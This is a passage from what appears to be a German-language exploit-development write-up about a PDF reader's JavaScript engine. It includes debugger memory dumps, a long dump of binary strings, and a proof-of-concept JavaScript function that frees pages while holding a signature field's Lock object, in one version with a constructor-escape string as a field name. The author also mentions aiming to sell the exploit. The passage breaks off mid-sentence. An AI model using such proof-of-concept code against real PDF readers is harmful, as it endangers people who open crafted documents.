0:000> db ecx - 4 0f55f9ec 78 31 32 78 33 34 78 35-36 78 37 38 78 39 41 78 x12x34x56x78x9Ax 0f55f9fc 42 43 78 44 45 78 46 30-78 31 32 48 00 00 00 00 BCxDExF0x12H.... 0f55fa0c 00 00 00 00 06 00 01 0f-40 da 3a 0e 00 00 00 00 ........@.:..... 0f55fa1c 00 00 00 00 00 00 00 00-e0 49 55 0f 10 00 00 00 .........IU..... 0f55fa2c 02 00 00 00 6c bb 54 0f-48 bb 54 0f 0a 00 00 00 ....l.T.H.T..... 0f55fa3c 00 00 00 00 01 00 00 00-10 00 00 00 10 00 00 00 ................ 0f55fa4c 54 00 69 00 6d 00 65 00-73 00 20 00 42 00 6f 00 T.i.m.e.s. .B.o. 0f55fa5c 6c 00 64 00 49 00 74 00-61 00 6c 00 69 00 63 00 l.d.I.t.a.l.i.c.
......... Gespräch aus Gründen der Kürze und der geistigen Gesundheit ausgelassen
bis wir irgendwann zum 'finalen poc' kamen, an dem wir hängen geblieben sind, der so aussieht:
function type_conf(){ app.alert("Starting enhanced memory leak exploit");
// Step 2: Create form fields
gFields.signature = app.activeDocs[0].addField(
"signature_field",
"signature",
0,
[10, 10, 100, 50]
);
gFields.combo = app.activeDocs[0].addField(
"HAHAHAHAHAH",
"combobox",
0,
[10, 60, 100, 100]
);
// Step 4: Get the critical Lock object
gLockObj = gFields.signature.getLock();
app.alert("Got Lock object from signature field");
app.alert("Triggering vulnerability with deletePages()");
app.activeDocs[0].deletePages();
app.alert("Vulnerability triggered");
gLockObj.__defineGetter__('fields', function () {});
}
Aber wie auch immer, warum ich einen Teil unseres, ich schätze mal, Arbeitsprozesses einbringen wollte, ist zu zeigen, wie bereits gezeigt wurde, dass Exploit-Entwicklung keine exakte Wissenschaft ist. Eine sehr wichtige Lektion für neue und aufstrebende junge Forscher ist zu erkennen, dass du dich mit Geduld und Antrieb (auch bekannt als Motivation) wappnen musst, um sehr oft einen kleinen Lichtstrahl zu sehen, der in den meisten Fällen nicht das Ende des Tunnels sein wird, sondern nur eine Sackgasse. Aber keine Angst, das ist Teil des Prozesses. Die Lektion, die du lernen musst, ist, dass du eine Menge, und ich meine wirklich eine Menge Zeit verschwenden wirst, wenn du Exploit-Entwicklung betreibst. Wieder: keine Angst, das ist Teil des Exploitation-Prozesses. Nun, da wir uns dem Ende dieses Artikels und dieser Geschichte nähern, lass mich dir noch ein paar Lektionen geben, die wir auf unserer Reise gelernt haben.Also, wenn du siehst, dass dein Objekt nicht beschreibbar und nur lesbar ist, wenn du siehst, dass du alles ausprobiert hast, was die Dokumentation der verfügbaren API bietet, und trotzdem noch den Extraschritt gegangen bist, die scheinbar verfügbare JS-API zu dumpen, wie zum Beispiel: AddcDocID .rdata:050B1EC8 00000007 C AddStr .rdata:050E8E70 00000016 C Sign_Fill_Set_PreText .rdata:050E8E88 00000012 C Sign_Fill_AddText .rdata:050E8E9C 00000017 C Sign_Fill_AddText_Comb .rdata:050E8EE0 0000000F C Sign_Fill_AddX .rdata:050E8EF0 00000011 C Sign_Fill_AddDot .rdata:050E8F04 00000011 C Sign_Fill_Group2 .rdata:050E8F18 00000012 C Sign_Fill_AddLine .rdata:050EB4FC 0000001B C ACTIONANNOT::AddTypeWriter https://helpx.adobe.com/acrobat/kb/adding-watermark-pdf.html .rdata:05114CEC 0000000B C Sound Tool .rdata:05114ED8 0000003D C This function is deprecated. It proceed in signature plugin. .rdata:05114FA8 0000001A C File_Propertions_Security .rdata:05114FC4 0000001D C File_Propertions_Description .rdata:05115000 0000001D C File_Propertions_InitialView .rdata:0511502C 00000016 C File_Propertions_Font .rdata:05115058 0000001A C File_Propertions_Advanced .rdata:051150E0 00000057 C This function is deprecated. Suggest use FROptimizerFlatDocument from Optimize plugin. .rdata:05115138 00000059 C This function is deprecated. Suggest use FRDocProcessSetReviewJS from docprocess plugin. .rdata:05115198 0000005C C This function is deprecated. Suggest use FRDocProcessRemoveReviewJS from docprocess plugin. .rdata:05115348 00000056 C This function is deprecated. Suggest use FROptimizerRunPageFlat from Optimize plugin. .rdata:051153A0 00000062 C This function is deprecated. Suggest use FRDocProcessFlattenDynamicXFADoc from docprocess plugin. .rdata:05115408 00000053 C This function is deprecated. It proceed in OCR plugin of FROCRRunPageOCRPROTO api. .rdata:05115460 0000005D C This function is deprecated. It proceed in OCR plugin of GetOCREngineLocalLanguagePROTO api. .rdata:051154C0 0000005D C This function is deprecated. It proceed in OCR plugin of GetIsExistOCREngineDllTipPROTO api. .rdata:05115520 0000005F C This function is deprecated. It proceed in OCR plugin of GetOCREngineSupportLanguagePROTO api. .rdata:05115610 0000005D C This function is deprecated. Suggest use FRDocProcessGetCreationDate from docprocess plugin. .rdata:05115670 00000066 C This function is deprecated. Suggest use FRDocProcessGetContainedCountInPages from docprocess plugin. .rdata:051156D8 00000060 C This function is deprecated. Suggest use FRDocProcessGetPrefixMatchList from docprocess plugin. .rdata:05115738 00000074 C This function is deprecated. Suggest use FROptimizerReduceFileSize and FROptimizerSetCallBack from Optimize plugin. .rdata:051157B0 0000005C C This function is deprecated. Suggest use FROptimizerShowReduceSizeDlg from Optimize plugin. .rdata:05115BC4 00000019 C CFS_GLOG_V16::LogMessage .rdata:05115BE0 00000070 C c:\phantompdfci\jenkins\workspace\taa-ph-auto-compile\starship\sinkpluginsdk_web\win\src\basic\fs_basicimpl.cpp .rdata:05116020 0000006C C This function is deprecated. Suggest use FRSIGInternalInterfaceGenerateUR3Permission from signature plugin. .rdata:05116090 0000005A C This function is deprecated. Suggest use FRPageFormatAddWatermark from pageformat plugin. .rdata:05116124 00000019 C PageFormat Extension HFT .rdata:05116140 00000063 C This function is deprecated. Suggest use FRPageFormatAddAndUpdateWatermark from pageformat plugin. .rdata:051161A8 0000005D C This function is deprecated. Suggest use FRPageFormatRemoveWatermark from pageformat plugin. .rdata:05116208 00000066 C This function is deprecated. Suggest use FRPageFormatRemoveAndUpdateWatermark from pageformat plugin. .rdata:05116270 0000005D C This function is deprecated. Suggest use FRPageFormatAddHeaderFooter from pageformat plugin. .rdata:051162D0 00000066 C This function is deprecated. Suggest use FRPageFormatAddAndUpdateHeaderFooter from pageformat plugin. .rdata:05116338 00000060 C This function is deprecated. Suggest use FRPageFormatRemoveHeaderFooter from pageformat plugin. .rdata:05116398 00000069 C This function is deprecated. Suggest use FRPageFormatRemoveAndUpdateHeaderFooter from pageformat plugin. .rdata:05116408 0000005F C This function is deprecated. Suggest use FRDocProcessIsUsedLogicalPage from docprocess plugin. .rdata:05116468 00000063 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGenerateSignInfo from signature plugin. .rdata:051164D0 00000064 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGenerateSignInfo3 from signature plugin. .rdata:05116538 00000063 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGetDefaultServer from signature plugin. .rdata:051165A0 0000006B C This function is deprecated. Suggest use FRSIGInternalInterfaceAddSignature3Handler from signature plugin. .rdata:05116610 00000045 C This function is deprecated. It's not be need from signature plugin. .rdata:05116658 00000065 C This function is deprecated. Suggest use FRSIGSGBaseHandlerSetSignatureVerify from signature plugin. .rdata:051166C0 00000066 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGetDocSigatureCount from signature plugin. .rdata:05116728 00000067 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGetSignatureBaseInfo from signature plugin. .rdata:05116790 00000061 C This function is deprecated. Suggest use FRSIGSGBaseHandlerClearSignature from signature plugin. .rdata:051167F8 00000063 C This function is deprecated. Suggest use FRSIGSGBaseHandlerCreateSignatureF from signature plugin. .rdata:05116860 0000005E C This function is deprecated. Suggest use FRSIGSGBaseHandlerSetPosition from signature plugin. .rdata:051168C0 0000004F C This function is deprecated. Suggest use FRSIGRDNCreate from signature plugin. .rdata:05116910 00000050 C This function is deprecated. Suggest use FRSIGRDNDestroy from signature plugin. .rdata:05116960 0000004F C This function is deprecated. Suggest use FRSIGRDNGetcwC from signature plugin. .rdata:051169B0 00000050 C This function is deprecated. Suggest use FRSIGRDNSetcwCN from signature plugin. .rdata:05116A00 00000050 C This function is deprecated. Suggest use FRSIGRDNGetcwCN from signature plugin. .rdata:05116A50 0000004F C This function is deprecated. Suggest use FRSIGRDNSetcwE from signature plugin. .rdata:05116AA0 0000004F C This function is deprecated. Suggest use FRSIGRDNGetcwE from signature plugin. .rdata:05116AF0 0000004F C This function is deprecated. Suggest use FRSIGRDNSetcwL from signature plugin. .rdata:05116B40 0000004F C This function is deprecated. Suggest use FRSIGRDNGetcwL from signature plugin. .rdata:05116B90 0000004F C This function is deprecated. Suggest use FRSIGRDNSetcwO from signature plugin. .rdata:05116BE0 0000004F C This function is deprecated. Suggest use FRSIGRDNGetcwO from signature plugin. .rdata:05116C30 00000050 C This function is deprecated. Suggest use FRSIGRDNSetcwOU from signature plugin. .rdata:05116C80 00000050 C This function is deprecated. Suggest use FRSIGRDNGetcwOU from signature plugin. .rdata:05116CD0 00000050 C This function is deprecated. Suggest use FRSIGRDNSetcwST from signature plugin. .rdata:05116D20 00000050 C This function is deprecated. Suggest use FRSIGRDNGetcwST from signature plugin. .rdata:05116D70 00000067 C This function is deprecated. Suggest use FRSIGCERTIFICATEINFO related interface from signature plugin. .rdata:05116DD8 00000065 C This function is deprecated. Suggest use FRSIGSEEDVALUEINFO related interface from signature plugin. .rdata:05116E4C 0000003E C This function is deprecated. It proceed in signature plugin. .rdata:0511F140 00000007 C AddImm .rdata:0511F480 0000000A C RowSetAdd .rdata:052A94B8 0000000D C pixAddBorder .rdata:052A94C8 00000019 C pixAddBlackOrWhiteBorder .rdata:052A94E4 00000014 C pixAddBorderGeneral .rdata:052A9510 00000020 C pixAddMultipleBlackWhiteBorders
.rdata:052A95DC 00000015 C pixAddMirroredBorder .rdata:052A9608 00000015 C pixAddRepeatedBorder .rdata:052A9620 00000012 C pixAddMixedBorder .rdata:052A9634 00000016 C pixAddContinuedBorder .rdata:052A964C 00000019 C pixShiftAndTransferAlpha .rdata:052B3028 00000013 C pixAddAlphaToBlend !!!!!!!! .rdata:052B32EC 0000000B C boxaAddBox !!!!!!!!!!!!!!! .rdata:052B35B8 0000000D C boxaaAddBoxa .rdata:052B35E8 00000011 C boxaaExtendArray .rdata:052B35FC 00000017 C boxaaExtendArrayToSize .rdata:052B3614 00000016 C baa has too many ptrs .rdata:052B362C 0000001F C size > 1M boxa ptrs; too large .rdata:052B364C 0000000E C boxaaGetCount .rdata:052B365C 00000011 C boxaaGetBoxCount .rdata:052B3670 0000000D C boxaaGetBoxa .rdata:052B3680 0000000C C boxaaGetBox .rdata:052B368C 00000013 C boxa not retrieved .rdata:052B36F8 00000010 C boxaaInsertBoxa .rdata:052B5E88 00000012 C pixGetInputFormat .rdata:052B5E9C 00000012 C pixSetInputFormat .rdata:052B5EB0 00000013 C pixCopyInputFormat .rdata:052B5EC4 0000000E C pixSetSpecial .rdata:052B5ED4 0000000B C pixGetText .rdata:052B5EE0 0000000B C pixSetText .rdata:052B5EEC 0000000B C pixAddText .rdata:052B667C 0000000C C pixaaAddBox .rdata:052B9268 00000014 C jbAddPageComponents .rdata:052B9D90 0000000D C numaaAddNuma .rdata:052C9BC8 00000010 C sarrayAddString .rdata:052CACB4 00000009 C ptaAddPt .rdata:052CAFB8 0000000B C ptaaAddPta .rdata:0530A890 00000010 C selaAddDwaCombs .rdata:053CADD8 0000000C C squareimage .rdata:053E05C8 00000019 C GdipPrivateAddMemoryFont .rdata:053E078C 00000017 C GdipPrivateAddFontFile .rdata:053E0808 00000015 C AddFontMemResourceEx .rdata:0548401C 00000009 C TPadding .rdata:056D0DA8 0000000D C addListeners .rdata:056D0ED8 0000000C C addMenuItem .rdata:056D0EE4 0000000B C addSubMenu .rdata:056D0F48 00000009 C addIndex .rdata:056D0F60 0000000B C addContact .rdata:056D0F6C 0000000B C addRequest .rdata:056D11B0 00000010 C addEmbeddedFile .rdata:056D12DC 00000008 C addWord .rdata:056D1528 00000009 C addAnnot .rdata:056D1534 00000009 C addField .rdata:056D1540 00000008 C addLink .rdata:056D1548 00000008 C addIcon .rdata:056D1E94 0000000D C Doc.addAnnot .rdata:056D1EA4 0000000D C Doc.addField .rdata:056D1EB4 0000000C C Doc.addLink .rdata:056D1EC0 0000000C C Doc.addIcon .rdata:056D24A8 0000000F C Doc.addAdLayer .rdata:056D5F58 0000000E C addToolButton .rdata:056D6644 00000010 C app.addMenuItem .rdata:056D6668 0000000F C app.addSubMenu .rdata:056D6644 00000010 C app.addMenuItem .rdata:056D7E44 0000000F C FDF.addContact .rdata:05709CF0 0000000F C OBJ_add_object .rdata:05709D00 0000000E C OBJ_add_sigid .rdata:05902BBC 00000012 C addCustomMenuItem .rdata:05902BD0 00000014 C addCustomToolButton .rdata:05902BE4 00000010 C addEventHandler .rdata:059E64A0 0000001E C FillPageComboBox-AddTail -End .rdata:059E64C0 00000010 C View_Panel_Goto .rdata:059E64D0 00000020 C FillPageComboBox-AddTail -Start .rdata:05FE0420 00000077 C ?FPDFSCRIPT3D_OBJ_Runtime__Method_AddCustomMenuItem@@YAXPAU_FXJSE_HOBJECT@@ABVCFX_ByteStringC@@AAVCFXJSE_Arguments@@@Z .rdata:05FE0497 00000079 C ?FPDFSCRIPT3D_OBJ_Runtime__Method_AddCustomToolButton@@YAXPAU_FXJSE_HOBJECT@@ABVCFX_ByteStringC@@AAVCFXJSE_Arguments@@@Z .rdata:05FE0510 00000075 C ?FPDFSCRIPT3D_OBJ_Runtime__Method_AddEventHandler@@YAXPAU_FXJSE_HOBJECT@@ABVCFX_ByteStringC@@AAVCFXJSE_Arguments@@@Z .rdata:050896AC 00000011 C CAddDictionaries .rdata:05097DD0 00000034 C CJS_PluginMgr::LoadJSPlugin::AddToolButtons - Start .rdata:05097E04 00000032 C CJS_PluginMgr::LoadJSPlugin::AddToolButtons - End .rdata:05098308 0000001E C CJS_PluginMgr::AddToolButtons
, wenn du eigentlich einen Teil des VR-Prozesses starten und versuchen solltest zu verstehen, was die Binärdatei tatsächlich tut, und dein IDB-Pseudocode so aussieht:
ein Haufen Code wurde ausgelassen, um Platz zu sparen und es nicht lang zu machen

Und man könnte deshalb von einer Klasseninitialisierung sprechen. Falsch. Vertraue IDA nicht, denn die Offsets stimmten nicht. Und selbst wenn ich falsch läge, glaub mir, du müsstest trotzdem die Funktionsnamen kreuzreferenzieren und bei 200 Kreuzreferenzen weitere 200 Funktionen analysieren, um es zu verstehen, und obendrein in WinDbg jeden ptr-Funktionsaufruf dynamisch auflösen und zurückentwickeln.
Hinzu kommt, dass du, wenn du zum Beispiel so etwas versuchst: 09f69e70 74 72 75 63 74 6f 72 28-27 72 65 74 75 72 6e 20 tructor('return 09f69e80 74 68 69 73 27 29 28 29-00 00 00 00 00 00 00 00 this')()........ 09f69e90 06 00 01 09 30 1e 6d 0f-00 00 00 00 00 00 00 00 ....0.m......... 09f69ea0 00 00 00 00 e0 bd 6d 0f-10 00 00 00 02 00 00 00 ......m......... 09f69eb0 84 15 f6 09 60 15 f6 09-0a 00 00 00 00 00 00 00 ....`........... 09f69ec0 01 00 00 00 10 00 00 00-10 00 00 00 54 00 69 00 ............T.i. 09f69ed0 6d 00 65 00 73 00 20 00-42 00 6f 00 6c 00 64 00 m.e.s. .B.o.l.d. 09f69ee0 49 00 74 00 61 00 6c 00-69 00 63 00 00 00 00 00 I.t.a.l.i.c..... function type_conf(){ app.alert("Starting enhanced memory leak exploit");
// Step 2: Create form fields
gFields.signature = app.activeDocs[0].addField(
"signature_field",
"signature",
0,
[10, 10, 100, 50]
);
let syntaxString = "a.constructor.constructor('return this')()";
gFields.combo = app.activeDocs[0].addField(
syntaxString,
"combobox",
0,
[10, 60, 100, 100]
);
// Step 4: Get the critical Lock object
gLockObj = gFields.signature.getLock();
app.alert("Got Lock object from signature field");
app.alert("Triggering vulnerability with deletePages()");
app.activeDocs[0].deletePages();
app.alert("Vulnerability triggered");
gLockObj.__defineGetter__('fields', function () {});
}
und es funktioniert, du aber nicht so etwas wie let x = "\x41\x41\x41\x41" haben und x als Namen des besagten Objekts in addField verwenden kannst. Warte 3:30 Stunden, bis die IDB in BinDiff geladen ist, und die IDB lädt nicht und verbraucht 16 GB Arbeitsspeicher. Das sind ziemlich deutliche Anzeichen dafür, dass du diese Binärdatei höchstwahrscheinlich nicht ausnutzen können wirst.
Also, Lektion gelernt: Wenn du die meisten der oben beschriebenen Dinge siehst, bist du für deine mentale Gesundheit besser dran, zum nächsten Exploit überzugehen, als weitere 3 Wochen zu verschwenden, nur um herauszufinden, ob das überhaupt ausnutzbar ist oder nicht.
Da wir nun am Ende der Geschichte angelangt sind, lasse ich dich mit einigen abschließenden Lektionen zurück, die ich während dieses Versuchs, einen Exploit zu entwickeln und zu verkaufen, gelernt habe: